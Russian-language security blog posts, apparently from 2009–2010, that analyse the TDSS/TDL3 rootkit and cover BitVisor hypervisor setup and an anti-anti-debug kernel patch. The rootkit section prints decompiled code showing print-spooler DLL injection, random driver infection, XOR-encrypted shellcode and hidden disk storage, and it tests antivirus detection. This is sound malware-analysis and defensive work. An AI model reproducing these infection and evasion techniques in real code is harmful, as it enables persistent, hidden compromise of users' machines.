 1 // генерация временного имени, под которым будет сохранена dll библиотека,
 2 // загружаемая в контекст доверенного процесса функцией AddPrintProvidor()
 3 if (GetTempFileNameW(&PathName, 0, 0, &ExistingFileName))
 4 {
 5     // сама dll библиотека представляет собой тот же самый исполняемый файл дроппера,
 6     // в котором выставленны соотвествующие значения флагов PE заголовка.
 7     if (MoveFileExW(&NewFileName, &ExistingFileName, 9u))
 8     {
 9         pDLLName = &ExistingFileName;
10         *(_DWORD *)pProvidorInfo = L"tdl";
11         pEnvironment = 0;
12         AddPrintProvidorW(L"tdl", 1u, pProvidorInfo);
13         if (GetLastError() == 1722 /* The RPC server is unavailable */)
14         {
15             // Служба диспетчера печати не запущена
16             hScm = OpenSCManagerA(0, 0, 1u);
17             hService = OpenServiceA(hScm, "spooler", 0x14u);
18             if (hService)
19             {
20                 // запускаем службу
21                 if (StartServiceA(hService, 0, 0))
22                 {
23                     SERVICE_STATUS_PROCESS Buffer;
24                     memset(&Buffer, 0, 0x1Cu);
25                     do
26                     {
27                         // ... и дожидаемся окончания её запуска
28                         if (!QueryServiceStatusEx(hService, 0, &Buffer, 0x24u, &pcbBytesNeeded))
29                             break;
30                         Sleep(dwMilliseconds);
31                     }
32                     while (Buffer.dwCurrentState != 4 /* SERVICE_RUNNING */);
33                     pDLLName = &ExistingFileName;
34                     *(_DWORD *)pProvidorInfo = L"tdl";
35                     pEnvironment = 0;
36                     AddPrintProvidorW(L"tdl", 1u, pProvidorInfo);
37                 }
38                 CloseServiceHandle(hService);         
39             }
40         }
41 
42         // ...    
43         // print providor и dll библиотека больше не нужны, удаляем их
44         DeletePrintProvidorW(0, 0, L"tdl");
45         DeleteFileW(&ExistingFileName);
46         
47         // ...
48     }
49 }

В дальнейшем, работая уже в контексте доверенного процесса, инсталлятор руткита загружает драйвер режима ядра, имена файла и системного сервиса для которого генерируются случайным образом. После загрузки в память драйвер руткита выполняет заражение уже установленного в системе легитимного драйвера и инициализирует устройство, обслуживающее собственную зашифрованную файловую систему руткита. На эту файловую систему инсталлятор записывает файлы tdlcmd.dll (код трояна, работающий в User Mode), config.ini (конфигурационный файл, расшифрованный текст которого был приведён выше – этот файл формируется инсталлятором «на лету» их тех данных, которые были «зашиты» в инсталлятор на этапе его сборки и конфигурирования) и bcfg.tmp (исходные конфигурационные данные из инсталлятора). После того, как заражение выполнено, драйвер и инсталлятор самоудаляются, а руткит остаётся жить в системе исключительно как «потерянный» фрагмент исполняемого кода: он записан в последние секторы физического диска и не существующий в виде файла.

Основное тело руткита не претерпело существенных изменений за последнее время за тем исключением, что обработчики дисковых перехватов руткита теперь дополнительно фильтруют такие запросы IRP, как IOCTL_SCSI_PASS_THROUGH. Подобные запросы, адресованые драйверу минипорта, некоторое время использовались утилитами для удаления TDSS.

Заражение драйвера


Одним из главных нововведений в версии 3.273 является то, что вместо заражения заранее известного драйвера минипорта дискового контроллера руткит теперь заражает случайный драйвер, выбирая его из числа загруженных в память на момент заражения. Претерпел существенные изменения и код, которым осуществляется заражение драйвера (он по-прежнему записывается поверх секции, в которой хранятся ресурсы).

Во-первых, поиск функций ядра, используемых в этом коде, теперь осуществляется по контрольным суммам, подсчитанным от их имён. В предыдущих версиях руткита адреса нужных функций хранились непосредственно в коде. Это изменение связано с инцидентом, произошедшим после выхода обновления Miscrosoft для уязвимости MS10-015: в результате использования в коде руткита фиксированных адресов функций ядра огромное количество зараженных пользователей после обновления получили «синий экран смерти» на этапе загрузки и, как следствие, неработоспособную систему (Windows blue screen may be result of rootkit infection).

Во-вторых, та часть кода заражения, которая осуществляет загрузку тела руткита из последних секторов физического диска, теперь шифруется методом XOR. Однобайтный ключ шифрования хранится в начале зараженной секции наряду с адресом оригинальной точки входа драйвера. Возможно, разработчики руткита предприняли этот шаг для обхода тех антивирусных утилит, которые использовали модификацию загружаемого драйвера в ходе лечения.

В третьих, для установки нотификатора на создание объектов типа "Control Device Object" в новой версии используется функция IoRegisterPlugPlayNotification, вместо функции IoRegisterFsRegistrationChange, используемой в более ранних версиях:
NTSTATUS 
IoRegisterPlugPlayNotification(
    IN IO_NOTIFICATION_EVENT_CATEGORY EventCategory,
    IN ULONG EventCategoryFlags,
    IN PVOID EventCategoryData OPTIONAL,
    IN PDRIVER_OBJECT DriverObject,
    IN PDRIVER_NOTIFICATION_CALLBACK_ROUTINE CallbackRoutine,
    IN PVOID Context,
    OUT PVOID *NotificationEntry
);

typedef NTSTATUS (* PDRIVER_NOTIFICATION_CALLBACK_ROUTINE) (
    IN PVOID NotificationStructure,
    IN PVOID Context
);

Рассмотрим псевдокод первой части кода заражения системного драйвера:
 1 NTSTATUS InfectedDriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
 2 {    
 3     // получаем указатель на секцию ресурсов зараженного драйвера
 4     rsrc = (int)((char *)DriverObject->DriverStart + 
 5            *(_DWORD *)(DriverObject->DriverStart + 
 6            *((_DWORD *)DriverObject->DriverStart + 15) + 136));
 7 
 8     // ищем адрес загрузки ядра
 9     __asm { sidt fword ptr [ebp+var_10] }
10     kernel_base = *(_DWORD *)(*(_DWORD *)&v28[2] + 512) & 0xF000 |
11                   (*(_WORD *)(*(_DWORD *)&v28[2] + 518) << 16);
12     for (i = kernel_base; *(_WORD *)kernel_base != 'MZ'; i = kernel_base)
13         kernel_base = (kernel_base - 2) & 0xFFFFF000;
14 
15     // получаем адрес функции nt!ExAllocatePool()
16     __ExAllocatePool = _getapi(kernel_base, 0xDE45E96Cu);
17     // выделяем память под структуру, в которой будут хранится 
18     // значения различных ключевых переменных, а так же 
19     // прочитанное с диска тело руткита
20     context = __ExAllocatePool(0, 0x69A60u);
21     memset(context, 0, 0x69A60u);
22     *(_DWORD *)(context + 1968) = kernel_base;
23     *(_DWORD *)(context + 352) = DriverObject;
24     memcpy((void *)(context + 1972), rsrc, 0x395u);
25 
26     // вызов оригинальной точки входа зараженного драйвера
27     status = ((char *)DriverObject->DriverStart + *(_DWORD *)(rsrc + 8)))(
28         DriverObject, RegistryPath);
29 
30     // расшифровка второй части шеллкода, которая выполняет роль 
31     // обработчика PnP событий, и читает с диска тело руткита
32     k = *(_BYTE *)(rsrc + 16);
33     code_len = 433;
34     code_ptr = context + 2456;
35     do
36     {
37         *(_BYTE *)code_ptr++ ^= k++;
38         --code_len;
39     }
40     while (code_len);
41 
42     // установка нотификатора для обработки PnP событий
43     // EventCategory = EventCategoryTargetDeviceChange
44     __IoRegisterPlugPlayNotification = _getapi(kernel_base, 0x48399F96u);
45     __IoRegisterPlugPlayNotification(2, 1, &v17, DriverObject, context + 2456, 
46         context, context + 348);
47 
48     return status;
49 }

Вторая часть кода заражения системного драйвера, исполняемая при появлении определённых PnP событий, выполняет открытие устройства, имя которого передаётся в обработчик. После этого код заражения читает из последних секторов открытого устройства тело руткита, которое хранится в собственной зашифрованной файловой системе руткита под именем "tdl".

Стоит заметить, что начиная с версии 3.27 способ шифрования этой файловой системы несколько изменился: теперь вместо алгоритма RC4 со строкой "tdl" в качестве ключа используется инкрементальный XOR:
1 // функция расшифровки сектора (его размер равен 1024-м байтам)
2 void xor_encrypt(unsigned char *buf, int buf_len)
3 {
4     unsigned char key = 0x54;
5     for (int i = 0; i < buf_len; i++)
6     {
7         *(buf + i) ^= key++;
8     }
9 }

Формат самой файловой системы и логика её хранения на диске не изменились.

TDSS против антивирусных продуктов


В рамках исследования новых версий руткита мы провели тесты различных антивирусных программ с целью выяснения, насколько эффективно антивирусная индустрия противостоит руткиту TDSS на данный момент.

Тестирование производилось на платформе VMware с установленной гостевой операционной системой Windows XP Professional SP3. Были протестированы последние на момент написания данной заметки версии тех антивирусных продуктов, в которых ранее была заявлена способность к детектированию или лечению TDL3. Кроме того, с целью выяснения эффективности используемой в инсталляторе руткита техники обхода проактивных защит, в тестирование были дополнительно включены продукты, обладающие наиболее продвинутыми функциями поведенческого анализа (Comodo, ZoneAlarm, Outpost и Kaspersky Internet Security).

На виртуальную машину устанавливались последние версии тестируемых приложений, после чего осуществлялось обновление антивирусных баз и компонентов. Далее производился запуск инсталлятора руткита, перезагрузка гостевой ОС и полное сканирование системы тестируемым приложением с активацией всех возможных дополнительных настроек.


Название и версия программыОбнаружение по поведениюОбнаружение активнго зараженияЛечение активного заражения
Dr.Web Security Space 6.00.0.04080N/AYesYes
Kaspersky TDSSKiller 2.2.8.1N/AОбнаружен неправильный файлNo
Norman TDSS Cleaner 1.9.1.0N/AYesYes
Vba32 AntiRootkit 3.12.4.0 N/ANoNo
HitmanPro 3.5.5.98N/ANoNo
MalwareBytes Anti-Malware 1.45N/ANoNo
RootRepeal 2.0.0 BetaN/AТолько в памяти (без имени зараженного файла)No
Comodo Internet Security 3.14NoN/AN/A
Kaspersky Internet Security 2010 (9.0.0.736)NoТолько в памяти (без имени зараженного файла)No
ZoneAlarm Internet Security Suite 9.1.507.0NoN/AN/A
Outpost Firewall Pro 2009 (3063.452.726.367)NoN/AN/A


Как видно из таблицы, с лечением активного заражения справилось всего две программы. Утилита TDSSKiller смогла обнаружить факт заражения, однако, в качестве зараженного файла был указан atapi.sys, что не соответствовало действительности:
00:41:06:756 1880 Driver "atapi" infected by TDSS rootkit!
00:41:06:772 1880 C:\WINDOWS\system32\DRIVERS\atapi.sys - Verdict: 1
00:41:06:772 1880 File "C:\WINDOWS\system32\DRIVERS\atapi.sys" infected by TDSS rootkit ... 
00:41:06:772 1880 Processing driver file: C:\WINDOWS\system32\DRIVERS\atapi.sys

Утилита RootRepeal смогла обнаружить только модифицированный руткитом Driver Object:
STEALTH CODE
-------------------
System 0x816f78b4  -  Hidden Code
System 0x816f7ac8  -  Hidden Code [Driver: , IRP: IRP_MJ_CLEANUP]
System 0x816f7ac8  -  Hidden Code [Driver: , IRP: IRP_MJ_CLOSE]
System 0x816f7ac8  -  Hidden Code [Driver: , IRP: IRP_MJ_CREATE]
...
System 0x816f7ac8  -  Hidden Code [Driver: , IRP: IRP_MJ_WRITE]

С поведенческим обнаружением инсталляции руткита в систему не справился ни один продукт.

С учётом относительно свежести тестируемого экземпляра руткита, рано делать какие-либо выводы из этих результатов. Но очевидно, что если в ближайшем будущем ситуация с детектированием TDL3 антивирусными программами не исправится, то он может стать для антивирусной индустрии самым существенным провалом со времён червя Conficker. По нашим данным, ботом TDSS заражено огромное количество машин – его ботнет на данный момент входит в число 10-ти самых крупных.

TDSS Remover


Вскоре после появления новой версии TDL3 мы выпустили обновление своей утилиты TDSS Remover:



Помимо лечения самой последней версии руткита, в новой версии утилиты была добавлена функция сохранения зашифрованной файловой системы руткита, а также утилита, которая извлекает отдельные файлы руткита из сохраненной файловой системы. Файловая система руткита автоматически сохраняется в файл с именем TDL3_volum.bin одновременно с сохранением зараженных файлов:



Для извлечения файлов, хранящихся на зашифрованной файловой системе, используется утилита TDL3_extract.exe, которой в качестве параметра передаётся путь к файлу TDL3_volume.bin:
C:\> TDL3_extract.exe dump_28.04-05.56.44\TDL3_volume.bin
Extracting data from file dump_28.04-05.56.44\TDL3_volume.bin...
0x00000001 0x000001ac config.ini
0x00000002 0x00005f8c tdl
0x0000001b 0x00000360 rsrc.dat
0x0000001c 0x0000007f bckfg.tmp
0x0000001d 0x00005000 tdlcmd.dll
Press any key to quit...

Thursday, December 24, 2009

Hypervisors

Несколько недель назад на многих IT-порталах обсуждался гипервизор, который предназначен для защиты ядра linux от руткитов.
Более подробно он описывается в оригинальном пейпере от исследователей из NC State University:
http://discovery.csc.ncsu.edu/pubs/ccs09-HookSafe.pdf

Однако, это далеко не первое практическое воплощение подобной идеи. В 2008-м году на конференции Black Hat USA был представлен доклад Hypervisor IPS based on Hardware Assisted Virtualization Technology за авторством Junichi Murakami, в котором рассматривается гипервизор под названием Viton, предназначенный для защиты ядра и критических системных структур Windows от модификации со стороны Malware.

Recently malware has become more stealthy and thus harder to detect, than ever before. Current malware uses many stealth techniques, such as dynamic code injection, rootkit technology and much more. Moreover, we have seen full kernel mode malware like Trojan.Srizbi.

Many detection tools were released that specialize in kernel mode malware and especially in the detection of rootkits. However, these tools are a cat and mouse game, because they and the malware are executed on the same privilege level.

This is why we developed an IPS based on a hypervisor, which uses features of hardware virtualization. It is executed on Ring-1 and thus runs with higher privileges than the OS layer.

In this session, we will talk about stealth mechanisms used by recent malware and demonstrate how to protect against such malware using Hypervisor IPS.


Download PDF

К сожалению, исходный код Viton-a (так же как и HookSafe) не доступен в паблике. Однако, он базируется на другом open-source гипервизоре, под названием BitVisor. BitVisor умеет запускать внутри виртуального окружения уже установленную на машине операционную систему, не зависимо от её типа (Windows, *NIX-like, итд.) На данный момент, в нём реализован следующий функционал:
  • Поддержка 32-х разрядной архитектуры в VMM
  • Поддержка PAE
  • Поддержка эмуляции реального режима работы процессора
Сам гипервизор выполнен в виде мини-ядра, которое получает управление через системный загрузчик, выполняет инициализацию и инициирует повторную загрузку "виртуализированного" компьютера уже под управлением гипервизора.


Исходный код BitVisor-а доступен на SourceForge под BSD лицензией.

В связи с тем, что readme/документация на исходники/проект отсутствует как таковая а процесс его установки достаточно нетривиальный, ниже будет приведено описание того, как запустить под BitVisor-ом операционную систему. Я тестировал его на Windows XP SP3 x32 и Gentoo Linux 2008.0

Сбрка и настройка для *NIX-like

  1. Распаковываем исходники в произвольный каталог (tar -xpf bitvisor-1.0.1.tar.gz).
  2. Создаём файл .config, со следующим содержанием:
    CONFIG_64=0#64bit VMM
    CONFIG_DEBUG_GDB=0#gdb remote debug support (32bit only)
    CONFIG_TTY_SERIAL=0#VMM uses a serial port (COM1) for output
    CONFIG_TTY_PRO1000=0#VMM output to LAN (VPN_PRO1000 must be 1)
    CONFIG_CPU_MMU_SPT_1=1#Shadow type 1 (very slow and stable)
    CONFIG_CPU_MMU_SPT_2=0#Shadow type 2 (faster and unstable)
    CONFIG_CPU_MMU_SPT_3=0#Shadow type 3 (faster and unstable)
    CONFIG_CPU_MMU_SPT_USE_PAE=0#Shadow page table uses PAE
    CONFIG_PS2KBD_F11PANIC=0#Panic when F11 is pressed (PS/2 only)
    CONFIG_PS2KBD_F12MSG=1#Print when F12 is pressed (PS/2 only)
    CONFIG_DBGSH=1#Debug shell access from guest
    CONFIG_LOG_TO_GUEST=#Log to guest memory
    CONFIG_ATA_DRIVER=1#Enable ATA driver
    CONFIG_STORAGE_ENC=0#Enable storage encryption (DEBUG)
    CONFIG_CRYPTO_VPN=0#Enable IPsec VPN Client
    CONFIG_USB_DRIVER=0#Enable USB driver
    CONFIG_SHADOW_UHCI=0#Shadow UHCI(USB1) transfers
    CONFIG_SHADOW_EHCI=0#Shadow EHCI(USB2) transfers
    CONFIG_HANDLE_USBMSC=0#Handle USB mass storage class devices
    CONFIG_HANDLE_USBHUB=0#Handle USB hub class devices
    CONFIG_CONCEAL_USBCCID=0#Conceal USB ccid class device
    CONFIG_PS2KBD_F10USB=0#Run a test for USB ICCD when F10 pressed
    CONFIG_PS2KBD_F12USB=0#Dump EHCI async. list when F12 pressed
    CONFIG_IEEE1394_CONCEALER=0#Conceal OHCI IEEE 1394 host controllers
    CONFIG_FWDBG=0#Debug via IEEE 1394
    CONFIG_ACPI_DSDT=1#Parse ACPI DSDT
    CONFIG_DISABLE_SLEEP=1#Disable ACPI S2 and S3
    CONFIG_ENABLE_ASSERT=1#Enable checking assertion failure
    CONFIG_DEBUG_ATA=0#Enable debugging ATA driver
    CONFIG_SELECT_AES_GLADMAN=0#Select Dr. Gladmans AES assembler code
    CONFIG_CARDSTATUS=0#Panic if an IC card is ejected (IDMAN)
    CONFIG_IDMAN=0#IDMAN (CRYPTO_VPN must be enabled)
    CONFIG_VPN_PRO100=0#Enable VPN for Intel PRO/100
    CONFIG_VPN_PRO1000=0#Intel PRO/1000 driver
    CONFIG_VPN_VE=0#Enable ve (Virtual Ethernet) driver
    CONFIG_VTD_TRANS=0#Enable VT-d translation
    

    Я отключил в нём лишние драйвера, наличие которых не обязательно для функционирования, собственно, гипервизора, и все потенциально глючные фичи, которые на практике часто приводят к неработоспособности машины. Если в наличии имеется COM-порт, стоит обратить внимание на опцию CONFIG_TTY_SERIAL, которая включает вывод отладочных сообщений ядра гипервизора в него.
  3. Компилируем исходники командой make.
  4. По завершению компиляции, в директории проекта должен появится файл bitvisor.elf, который необходимо скопировать на системный раздел и добавить в настройки загрузчика. Для GRUB соответствующая запись в menu.lst будет выглядеть так:
    title BitVisor
    root (hd0,0)
    kernel /boot/bitvisor.elf
    

Установка завершена, перезагружаем машину и выбираем BitVisor в загрузочном меню. После этого на экране должен появится лог инициализации гипервизора примерно следующего вида:
Starting BitVisor...
Copyright (c) 2007, 2008 University of Tsukuba
All rights reserved.
4226078720 bytes (4030 MiB) RAM available.
VMM will use 0xB7C00000-0xBFC00000 (128 MiB).
ACPI DMAR not found.
..................................................                                                  
Disable ACPI S3
ACPI MCFG cleared.
Module not found.
Processor 0 (BSP)
Processor 1 (AP)
SVM is not available.
SVM is not available.
Processor 1 2365101240 Hz
Processor 0 2365101288 Hz
Loading drivers.
PCI: finding devices ........................ 24 devices found
Starting a virtual machine.

После того как гипервизор запустится, на экране снова появится меню системного загрузчика, в котором, на этот раз, будет необходимо выбрать загрузку вашей операционной системы.
Что дальше? - А всё. Если загрузка прошла успешно - можно радоваться тому факту, что ОС работает в виртуальном окружении, практические возможности BitVisor-а на этом и заканчиваются.
Проверить его работу можно с помощью следующей программы (dbgsh.c - была выдрана из комментариев в исходных текстах):
#include "stdio.h"
#include "stdlib.h"

#ifdef __MINGW32__

#include "conio.h"
#define NOECHO()
#define GETCHAR() getch()
#define PUTCHAR(_c_) putch(_c_)
#define ECHO()

#else

#define NOECHO() system("stty -echo -icanon")
#define GETCHAR() getchar()
#define PUTCHAR(_c_) putchar(_c_), fflush(stdout)
#define ECHO() system("stty echo icanon")

#endif

static int vmcall_dbgsh(int c)
{
    int r = 0, n = 0;

    asm volatile("push (%%ebx); push 4(%%ebx); lea 8(%%esp), %%esp; vmcall" : 
                 "=a" (n) : "a" (0), "b" ("dbgsh"));

    if (n == 0)
    {
        return -1;
    }

    asm volatile("vmcall" : "=a" (r) : "a" (n), "b" (c));
    return r;
}

void e(void)
{
    ECHO();
}

int main(int argc, char **argv)
{
    int s = -1, r = 0;
    FILE *fp = NULL;

    if (argc >= 2) 
    {
        fp = fopen(argv[1], "w");
    } 
    else 
    {
        fp = NULL;
    }

    vmcall_dbgsh(-1);

    if (vmcall_dbgsh(-1) == -1)
    {
        exit (1);
    }

    atexit(e);
    NOECHO();

    while (true) 
    {
        r = vmcall_dbgsh(s);
        s = -1;

        if (r == 0) 
        {
            s = GETCHAR();
        } 
        else if (r > 0) 
        {
            if (fp)
            {
                fprintf(fp, "%c", r);
                fflush(fp);
            }

            PUTCHAR(r);
            s = 0;
        }
    }
}

Будучи скомпилированной (gcc dbgsh.c -o dbgsh) и запущенной под гипервизором, она предоставит command line интерфейс для доступа к его отладочным функциям:
# ./dbgsh
> help
debug           debugger
log             print VMM log
recvexample     msgregister() example
sendexample     msgsendbuf() example
sendint         call msgsendint()
serialtest      serial I/O test
shell           shell
reboot          reboot
exit            exit shell 

Встроенный отладчик умеет:
  • Дампить виртуальную и физическую память VMM.
  • Дампить виртуальную и физическую память виртуальной машины.
  • Показывать регистры процессора.
  • Выводить лог загрузки гипервизора.

Сбрка и настройка для Windows


Компиляция BitVisor-а в Windows мало отличается от таковой под *NIX, и для неё подходит среда типа Cygwin или MinGW.
Загрузка ядра гипервизора осуществляется с помощью GRUB4DOS, который необходимо настроить следующим образом:
  1. В корень системного раздела (С:\) копируются файлы bitvisor.elf и grldr, который входит в состав GRUB4DOS.
  2. В той же директории создаётся файл menu.lst следующего содержания:
    default 0
    timeout 10
    
    title BitVisor
    root (hd0,0)
    kernel /bitvisor.elf
    
  3. В конец файла boot.ini добавляется следующая строка: C:\GRLDR="Start GRUB"
После загрузки ОС под гипервизором, его работоспособность проверяется с помощью приведенной выше программы (на скриншете виден дамп образа ядра Windows, работающего в виртуальной среде):


Выводы


После прочтения этого материала, многие, вероятно, зададут вопрос: "Зачем нужен гипервизор, который ничего полезного не умеет делать?". В текущем виде BitVisor действительно представляет собой не более чем PoC, но в силу своей архитектуры, он хорошо подходит для написания на его базе как руткитов, так и всевозможных защитных систем вроде HookSafe и Viton.
Сделать сокрытие зараженного загрузочного сектора на уровне PIO, к примеру, с помощью BitVisor-а представляется довольно простой задачей.
На данный момент, в нём очень не хватает BluePill-like nested virtualization, однако, на фоне уже сделанной работы реализация вложенной виртуализации не выглядит пугающе.

Для желающих запустить BitVisor на своей машине, я выкладываю архив, в котором находятся:
  • Файл .config, который необходим для сборки гипервизора.
  • Собственно, собранный гипервизор (bitvisor.elf).
  • Файлы из GRUB4DOS, необходимые для загрузки гипервизора в Windows (menu.lst, grldr).
  • dbgsh.exe (Windows версия программы для отладки и проверки работоспособности гипервизора).

Sunday, December 13, 2009

Обмануть антиотладку

Мне периодически попадаются экземпляры malware, которые умеют детектировать присутствие удалённого отладчика подцепленного к виртуальной машине. Как правило, проблемы в данном случае создают именно руткиты, так как грузится они могут раньше, чем инициализируется WinDbg сессия (буткиты, заражение NTLDR и драйверов, которые используются на начальном этапе загрузки).

В 99% случаев, обнаружение удалённого отладчика реализовано весьма тривиально:
  1. Проверка глобальной экспортируемой переменной ядра KdDebuggerEnabled, которая при активном отладчике устанавливается в TRUE, и влияет на обработку исключений, и др.
  2. Вызов функции NtQuerySystemInformation c классом SystemDebuggerInformation, в возвращаемых данных будет следующая структура:
    typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION 
    { // Information Class 35
        BOOLEAN DebuggerEnabled;
        BOOLEAN DebuggerNotPresent;
    
    } SYSTEM_KERNEL_DEBUGGER_INFORMATION, 
    *PSYSTEM_KERNEL_DEBUGGER_INFORMATION; 
    

Оба способа обнаружения отладчика обходятся довольно просто: единственная сложность заключается в том, что для этого, по озвученным выше причинам, не подходит hotpatching ядра из своего драйвера. Поэтому, я написал патчер, которы модифицирует файл ядра на диске:
  • Патчатся все xrefs на KdDebuggerEnabled таким образом, что бы значение оригинальной экспортируемой переменной никогда не изменялось.
  • Перехватывается системный вызов NtQuerySystemInformation, с подменой значений обоих полей для соответствующего информационного класса.


Архив с бинарником и исходными текстоми доступен для загрузки.

Разумеется, данный патч не расчитан на защиту от всех теоретически возможных методов детекта WinDbg, но при необходимости, нужный функционал можно реализовать по аналогии с уже имеющимся (чем я и буду заниматься по мере необходимости).

Кроме, собственно, патча и readme к нему, в архиве лежит и драйвер, который позволяет проверить его работоспособность, выводя в debug output информацию о наличии отладчика.

На системе с активным удалённым отладчиком без патча:
nt!KdDebuggerEnabled: 0x8054b6c1 (TRUE)
   DebuggerEnabled=0x00000001
DebuggerNotPresent=0x00000000

На пропатченой системе с активным удалённым отладчиком:
nt!KdDebuggerEnabled: 0x8054b6c1 (FALSE)
   DebuggerEnabled=0x00000000
DebuggerNotPresent=0x00000001